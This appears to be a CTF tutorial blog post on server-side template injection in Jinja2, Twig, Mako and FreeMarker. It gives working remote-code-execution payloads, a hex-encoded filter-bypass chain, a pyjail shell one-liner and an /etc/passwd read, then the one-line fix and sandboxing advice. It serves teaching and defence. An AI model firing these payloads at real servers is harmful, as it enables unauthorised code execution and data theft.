May 16, 2026

Server-Side Template Injection for CTF: Detection, Gadgets, and Filter Bypass

Submit {{7*7}} to a form. If the page shows 49, you have SSTI. Here is how to go from that one test to full server compromise, and why the fix is one line of code.

The first time I tested a web form for SSTI, I typed {{7*7}} and hit submit. The page came back with 49.

That's SSTI confirmed in one request.

Server-Side Template Injection (SSTI) happens when a web app takes user input and feeds it directly to a template engine as the template itself, instead of passing it as a variable into a pre-written template. The engine runs your input as code, not as text.

Here's why that's a bigger deal than XSS: XSS executes in the victim's browser. SSTI executes on the server, with the application's own privileges. You're not injecting into someone else's tab. You're running code on the machine hosting the app.

Note: Reading paths. Want the payload immediately? Jump to the cycler trick. Facing a filter? Filter bypass is what you need. Curious why any of this works? The pyjail connection explains the underlying model.

Here's the one-liner for basic Jinja2 SSTI with no filter. If this is all you need:

# Step 1: confirm SSTI
{{7*7}}
# -> page shows 49? SSTI confirmed.
# Step 2: read the flag (Flask + Jinja2, no filter)
{{ cycler.__init__.__globals__.os.popen('cat flag').read() }}

detection: the {{7*7}} test

{{7*7}}is the canonical SSTI probe. It's safe (no side effects), easy to remember, and unambiguous. If the server responds with 49, the template engine evaluated your expression. If it responds with the literal string {{7*7}}, the value is reflected but not evaluated. That's reflected XSS territory, not SSTI.

# Test any form parameter with curl
curl -s -X POST -d "content={{7*7}}" http://target/page
# Response contains 49 -> SSTI confirmed
# Response contains {{7*7}} -> reflected, not evaluated

The second test is {{7*'7'}}. This one distinguishes Jinja2 from Twig. Jinja2 returns 7777777 (string repetition). Twig returns 49 (numeric multiplication). One character difference. Two completely different payload families.

Two requests identify the engine. {{7*7}} confirms SSTI. {{7*'7'}} shows 7777777 on Jinja2 and 49 on Twig. Run both before touching a gadget chain.

which template engine?

A Jinja2 payload does nothing on a FreeMarker server. A Mako payload fails silently on Twig. Engine identification comes before exploitation. Here are the detection payloads that separate the five most common engines:

EngineDetection payloadOutputLanguage
Jinja2{{7*'7'}}7777777Python (Flask, Django)
Twig{{7*'7'}}49PHP (Symfony)
Mako${7*7}49Python
FreeMarker${7*7}49Java
ERB<%= 7*7 %>49Ruby (Rails)

CTF challenges on picoCTF almost always use Jinja2. Real-world bug bounty targets use whatever the app was built on. If detection payloads don't evaluate, try triggering an error with {{foobar}} or ${foobar}. Error messages frequently name the engine.

Jinja2's string-repetition behavior on {{7*'7'}} is unique. If you see 7777777, you're on Flask. From there, the cycler trick below solves unfiltered targets in one request.

the cycler trick: Jinja2 with no filter

Jinja2 exposes a set of helper objects to every template context. One of them is cycler, a utility for cycling through values (alternating CSS classes, that kind of thing). Completely harmless in normal use.

Except that cycler is a Python class. Its __init__ method is a Python function. And every Python function carries a __globals__attribute that points to the module's global namespace. If the os module was imported anywhere in the application, it lives in that dictionary.

From a Jinja2 template, you can walk the chain directly:

# Confirm command execution
{{ cycler.__init__.__globals__.os.popen('id').read() }}
# List the working directory
{{ cycler.__init__.__globals__.os.popen('ls').read() }}
# Read the flag
{{ cycler.__init__.__globals__.os.popen('cat flag').read() }}
# curl version (for scripting)
curl -s -X POST \
-d "content={{ cycler.__init__.__globals__.os.popen('cat flag').read() }}" \
http://target/page

cycler is not the only gadget. Jinja2 also exposes lipsum and namespace globally. All three are Python objects with accessible __globals__ chains. If one is filtered, try the others.

Key insight: This works because an unfiltered Jinja2 environment lets templates read Python dunder attributes. The engine was designed for trusted templates written by developers, not for rendering arbitrary user input. Passing user input to render_template_string(user_input) is equivalent to handing that user a Python shell.

The picoCTF challenge SSTI1 uses exactly this pattern: a Flask form that calls render_template_string(user_input) with no keyword filter. The cycler payload solves it in a single request.

cycler.__init__.__globals__.os.popen(cmd).read() is the standard unfiltered Jinja2 RCE payload. cycler is a Python object whose function attributes expose __globals__, which contains os if the app imported it anywhere.

when filters fight back: the ssti2 bypass

Adding a keyword filter is the obvious hardening step after SSTI1. Block the strings cycler, __globals__, import, and other dangerous words. If none of them appear in the payload, nothing dangerous can happen.

Wrong. Here's why keyword filters always lose.

Jinja2 has an |attr() filter that works like Python's getattr(): it lets you look up an attribute by passing a string argument instead of using dot notation. And Jinja2 decodes Python-style hex escapes inside string literals. So "\x5f\x5fglobals\x5f\x5f" decodes to the string __globals__ at runtime. The literal characters _ never appear in your payload text.

The filter scans your input and sees a backslash, an x, and some hex digits. Jinja2 reads __globals__. They are looking at different things, and the filter never had a chance.

# Full filter bypass for SSTI2
# Underscores hex-encoded as \x5f to dodge the keyword blacklist
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
# Swap 'id' for 'cat flag' to read the flag

This chain uses request.application instead of cycler because cycler is blocked. Flask automatically exposes request in every template context. request.application returns the Flask app object. Its __globals__ reaches __builtins__, and from there __import__ loads any module you name.

Note: The hex escape \x5f is four literal characters in your payload: a backslash, x, 5, f. Jinja2 decodes that to one character (underscore, byte 0x5f) when evaluating the string. The filter runs on the original text. Jinja2 runs on the decoded value. This is not a bug in the filter implementation. It is a structural property of any filter that works at the string level.

The general pattern: whenever a filter blocks a string, there are multiple ways to express the same string without spelling it out. Hex encoding is one. String concatenation is another. The |attr() syntax is a third. A keyword blacklist must block every possible form of every blocked string. An attacker only needs to find one that passes.

A keyword blacklist is playing Whack-a-Mole against an infinite set of equivalent expressions. It will always lose.

When keywords are blocked, switch from dot notation to |attr() and encode underscores as \x5f. Switch from cycler to request.application. The gadget chain is the same. Only the surface syntax changes.

why this looks familiar: the pyjail connection

If you've worked through the Python sandbox bypass post, the __globals__chain should look familiar. Pyjail challenges use the same mechanism: Python's object model exposes every module's namespace through function attributes, and any loaded function is a path in.

In a pyjail, you reach os through the MRO chain, walking from any available object up to object and back down through its subclasses:

# Pyjail: reach os via the MRO chain
[c for c in ''.__class__.__mro__[-1].__subclasses__()
if 'os' in getattr(c.__init__, '__globals__', {})
][0].__init__.__globals__['os'].system('sh')

In a Jinja2 template, you reach os through cycler.__init__.__globals__because template syntax doesn't give you a raw Python prompt. Different notation, same Python object model:

# Jinja2: reach os via cycler.__init__.__globals__
{{ cycler.__init__.__globals__.os.popen('id').read() }}

Both approaches find a loaded Python function, read its __globals__ dictionary, and pull out the os module. The steps are identical. The syntax is different because Jinja2 wraps things in {{ }}and attribute access goes through the template's own dot notation.

Key insight: Most SSTI tutorials and pyjail tutorials present these as separate techniques. They are not. Both exploit Python's decision to make every function's module namespace accessible through __globals__. Once you see the connection, you do not need to memorize two separate payload lists. One mental model covers both.

SSTI in Jinja2 is pyjail with template syntax. The underlying exploit is Python's object model. If you understand one, you understand both.

other template engines: Twig, Mako, FreeMarker

Most CTF challenges use Jinja2. Real-world bug bounty targets run whatever the app was built on. Here are the key payloads for the other common engines.

Twig (PHP).Twig is the default engine in Symfony and many Laravel projects. It doesn't expose Python's object model, but it does expose PHP's. The standard RCE path goes through filter chaining:

# Twig: confirm
{{7*7}}
# Twig: RCE via system()
{{['id']|map('system')|join}}
# Twig: read a file
{{'/etc/passwd'|file_get_contents}}

Mako (Python). Mako uses ${} syntax and executes Python inline by design. Detection is ${7*7}. Exploitation is direct:

# Mako: confirm
${7*7}
# Mako: RCE
${__import__('os').popen('id').read()}

FreeMarker (Java). Common in Java enterprise applications. Uses ${} syntax. The standard exploitation path uses freemarker.template.utility.Execute:

# FreeMarker: confirm
${7*7}
# FreeMarker: RCE
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

For CTF: if it's Python, it is almost always Jinja2 or Mako. If it's PHP, try Twig. If it's Java, FreeMarker or Velocity. Identifying the engine before sending payloads saves you from silently failing for the wrong reason.

the one-line fix

What worries me about SSTI is how easy the vulnerable pattern is to write by accident. The bug and the fix look almost identical:

# Vulnerable: user input IS the template
return render_template_string(user_input)
# Safe: user input is a variable passed INTO a template
return render_template("page.html", content=user_input)

In the safe version, content is a variable inside the template file. Jinja2 HTML-escapes it automatically. {{7*7}} shows up as literal text on the page. The engine never sees user input as code.

In the vulnerable version, user input is the template. Jinja2 parses it and evaluates anything that looks like a template expression. This is eval(user_input)with a different name. It's the same mistake, just one abstraction layer further from obvious.

The bug isn't in Jinja2. It's in the line render_template_string(user_input) that someone wrote thinking it was safe.

Real incidents show how quickly this becomes a serious problem. In January 2024, Atlassian disclosed CVE-2023-22527, an unauthenticated SSTI in Confluence Data Center and Server. CVSS score: 10.0. Attackers exploited it in the wild within five days of the public disclosure, running arbitrary system commands without any login required. The changedetection.io CVE-2024-32651 is closer to the picoCTF pattern: a Python application using Jinja2's render_template_string on user-controlled content, giving remote code execution to anyone with access to the feature.

If your application genuinely needs to let users write template syntax (email builders, CMS themes, announcement systems), the options are:

Use SandboxedEnvironment. jinja2.sandbox.SandboxedEnvironment() blocks access to dunder attributes and restricts callable objects. It raises the exploitation bar meaningfully.

Warning: SandboxedEnvironment is not a complete fix. Published sandbox escapes exist for Jinja2. Objects exposed to the template that carry function references can still leak __globals__ through attribute access. Treat the sandbox as a speed bump, not a wall. The only fully reliable fix is not passing user input to a general-purpose template engine at all.

Use a restricted DSL. Shopify's Liquid and Mailchimp's expression language are intentionally limited. They support dynamic content without exposing a language runtime. If the use case is an email builder or a theme system, a DSL with a fixed grammar is the right choice. Shopify and Mailchimp made this call for exactly this reason.

Add static analysis. Semgrep and Bandit both have rules that flag render_template_string calls with non-literal arguments. SSTI hides in one-line refactors. Catching it in CI is the only way to find it consistently across a growing codebase.

render_template(file, content=user_input) is safe. render_template_string(user_input) is eval() in disguise. The Confluence CVE-2023-22527 (CVSS 10.0, January 2024) and changedetection.io CVE-2024-32651 are what this single-line mistake looks like at production scale.

picoCTF challenges

The two main picoCTF SSTI challenges add exactly one layer of difficulty each. Work through them in order.

ChallengeFilterTechniqueKey gadget
SSTI1noneDirect cycler gadgetcycler.__init__.__globals__.os.popen(cmd).read()
SSTI2keyword blacklist (cycler, __globals__, ...)hex |attr() + request.application chainrequest|attr(...)|attr('\x5f\x5fglobals\x5f\x5f')|...

SSTI1 teaches the cycler gadget. SSTI2 teaches why filters always fail. Together they cover both the technique and the bypass in exactly two challenges.

For related techniques in the injection family: SQL injection shares the same root cause (untrusted input reaches an interpreter), command injection is what SSTI typically leads to at the OS level, and the LFI post covers a cousin vulnerability where the injection reads files instead of executing code. The Python sandbox bypass post goes deeper on the __globals__ chain for challenges where the injection point is a raw Python eval.